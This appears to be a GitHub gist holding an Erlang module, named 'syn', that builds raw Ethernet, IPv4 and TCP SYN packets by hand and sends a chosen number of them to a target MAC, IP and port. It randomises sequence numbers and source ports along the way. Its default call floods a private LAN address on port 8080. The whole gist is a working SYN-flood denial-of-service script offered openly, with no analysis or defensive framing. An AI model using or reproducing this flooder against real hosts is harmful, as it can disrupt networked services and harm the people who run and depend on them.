Skip to content

Instantly share code, notes, and snippets.

@msantos
Created June 20, 2010 19:41
Show Gist options
  • Select an option

  • Save msantos/446042 to your computer and use it in GitHub Desktop.

Select an option

Save msantos/446042 to your computer and use it in GitHub Desktop.
%% Copyright (c) 2010, Michael Santos <[email protected]>
%% All rights reserved.
%%
%% Redistribution and use in source and binary forms, with or without
%% modification, are permitted provided that the following conditions
%% are met:
%%
%% Redistributions of source code must retain the above copyright
%% notice, this list of conditions and the following disclaimer.
%%
%% Redistributions in binary form must reproduce the above copyright
%% notice, this list of conditions and the following disclaimer in the
%% documentation and/or other materials provided with the distribution.
%%
%% Neither the name of the author nor the names of its contributors
%% may be used to endorse or promote products derived from this software
%% without specific prior written permission.
%%
%% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
%% "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
%% LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
%% FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
%% COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
%% INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
%% BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
%% LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
%% CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
%% LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
%% ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
%% POSSIBILITY OF SUCH DAMAGE.
-module(syn).
-export([
flood/0,
flood/4
]).
-record(state, {
s, % socket
i, % ifindex
n, % number of SYN's to send
shost, % Source MAC address
dhost, % Destination MAC address
saddr, % Source IP Address
daddr, % Destination IP Address
sport, % source port
dport % desintation port
}).
flood() ->
flood(
"ath0",
% Source
{{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},
% Destination
{{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080},
% Number of SYN's to send
10
).
flood(Device, {SrcMac, SrcIP, SrcPort}, {DstMac, DstIP, DstPort}, N) when length(Device) < 16 ->
crypto:start(),
{ok, FD} = packet:socket(),
Interface = packet:ifindex(FD, Device),
prepare(#state{
s = FD,
i = Interface,
n = N,
shost = SrcMac,
dhost = DstMac,
saddr = SrcIP,
daddr = DstIP,
sport = SrcPort,
dport = DstPort
}).
prepare(
#state{
s = Socket,
i = Ifindex,
n = N,
shost = {SM1,SM2,SM3,SM4,SM5,SM6},
dhost = {DM1,DM2,DM3,DM4,DM5,DM6},
saddr = {SA1,SA2,SA3,SA4},
daddr = {DA1,DA2,DA3,DA4},
sport = SP,
dport = DP
} = State
) when N > 0 ->
Id = 0,
TTL = 64,
%SA4 = crypto:rand_uniform(1,254),
IPLen = 40,
IPsum = packet:makesum(
<<
% IPv4 header
4:4, 5:4, 0:8, IPLen:16,
Id:16, 0:1, 1:1, 0:1,
0:13, TTL:8, 6:8, 0:16,
SA1:8, SA2:8, SA3:8, SA4:8,
DA1:8, DA2:8, DA3:8, DA4:8
>>
),
TCPoff = 5,
SeqNo = crypto:rand_uniform(0,16#FFFFFFFF),
Win = 1024,
PSH = 0,
SPort = case SP of
0 -> crypto:rand_uniform(0,16#FFFF);
N -> N
end,
TCPsum = packet:makesum(
<<
% IP Pseudoheader
SA1:8,SA2:8,SA3:8,SA4:8,
DA1:8,DA2:8,DA3:8,DA4:8,
0:8,
6:8, % Protocol: TCP
(TCPoff * 4):16,
% TCP Header
SPort:16, DP:16,
SeqNo:32,
0:32,
TCPoff:4, 0:4, 0:1, 0:1, 0:1, 0:1,
PSH:1, 0:1, 1:1, 0:1, Win:16,
0:16, 0:16
>>
),
packet:send(Socket, Ifindex, <<
% Ethernet header
DM1,DM2,DM3,DM4,DM5,DM6,
SM1,SM2,SM3,SM4,SM5,SM6,
16#08, 16#00,
% IPv4 header
4:4, 5:4, 0:8, IPLen:16,
Id:16, 0:1, 1:1, 0:1,
0:13, TTL:8, 6:8, IPsum:16,
SA1:8, SA2:8, SA3:8, SA4:8,
DA1:8, DA2:8, DA3:8, DA4:8,
% TCP header
SPort:16, DP:16,
SeqNo:32,
0:32,
TCPoff:4, 0:4, 0:1, 0:1, 0:1, 0:1,
PSH:1, 0:1, 1:1, 0:1, Win:16,
TCPsum:16, 0:16
>>),
prepare(State#state{n = N - 1});
prepare(_) -> ok.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment